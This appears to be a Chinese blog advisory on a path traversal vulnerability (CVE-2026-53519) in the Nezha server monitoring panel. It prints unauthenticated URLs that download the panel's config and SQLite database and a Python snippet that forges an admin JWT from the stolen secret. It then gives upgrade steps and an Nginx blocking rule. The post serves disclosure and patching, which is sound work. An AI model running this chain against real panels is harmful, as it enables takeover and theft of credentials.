哪吒探针是一款轻量的服务器监控工具,因轻量、支持多终端被大家所熟知。但最近却爆出了严重的安全漏洞,由于笔者也一直在使用,因此针对此漏洞进行升级,并做一次简单的记录。

目前被曝存在一个 严重级别的路径穿越漏洞(CVE-2026-53519)。攻击者无需任何认证,仅通过两个 HTTP 请求,即可直接下载面板的敏感配置文件与数据库,伪造 JWT Token 直接接管管理员后台。
项目 | 内容 |
|---|---|
漏洞编号 | CVE-2026-53519 |
GitHub Advisory | GHSA-5c25-7vpj-9mqh |
漏洞类型 | CWE-22 路径穿越(Path Traversal) |
严重性 | CRITICAL(严重) |
影响版本 | v1.x ~ v2.0.12 |
位于 cmd/dashboard/controller/controller.go 中的 fallbackToFrontend 函数。该函数作为 NoRoute 兜底处理,当所有路由都不匹配时,会尝试将请求当作前端静态资源处理。
问题代码:
// NoRoute 兜底处理
if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {
return
}
}关键缺陷在于:HasPrefix 检查的是字符串前缀,而不是路径段(path segment)。正常访问,拼接为 admin-dist/login.但 Go 的 http.ServeFile 在 URL 层面会拦截 .. 段 → 返回 400 dashboard.. 是一个完整的路径段,URL 层面不会拦截;TrimPrefix 后得到 ../data/config.yaml;path.Join("admin-dist",)
在浏览器中,直接访问https://你的面板地址/dashboard../data/config.yaml便可以直接下载config.yaml文件,效果如下:

这里,我们可以看到在后台中的配置信息和关键的 jwt_secret_key — 用于签发所有会话 Cookie 的 HS256 签名密钥。
下载数据库获取管理员 User ID
同样,我们浏览器访问 https://你的面板地址/dashboard../data/sqlite.db
便可以成功下载sqlite.db文件。

SQLite 数据库中存储着管理员用户的 ID(默认管理员通常为 1)。
第三步:伪造 JWT Token 接管后台
利用获取到的 jwt_secret_key 和管理员 User ID,本地构造一个合法的 JWT Token:
import jwt, time
payload = {
"user_id": 1,
"exp": int(time.time()) + 86400 * 30
}
token = jwt.encode(payload, "获取到的_jwt_secret_key", algorithm="HS256")
print(token)将生成的 Token 写入浏览器 Cookie(键名:nz-jwt),刷新页面即可 直接进入管理员后台。

需要我们升级面板到 v2.0.13+
# Docker 部署
docker pull ghcr.io/nezhahq/nezha:latest
docker compose up -d二进制部署 下载 v2.0.13+ 版本替换二进制文件后重启服务 临时缓解
在 Nginx/反向代理中添加规则,拦截包含 dashboard.. 的异常请求:
if ($uri ~* "/dashboard\.\.") {
return 403;
}或直接暂时停止面板服务。
这次哪吒探针的高危漏洞再次给我们敲响了警钟:一个字符的前缀匹配错误,就导致了全线版本沦陷。网络安全无小事。 不要抱有"我的小鸡配置低、黑客看不上"的侥幸心理。平时多关于相关安全资讯,常用程序及时更新,以免造成资产损失。
更多精彩文章 欢迎关注我们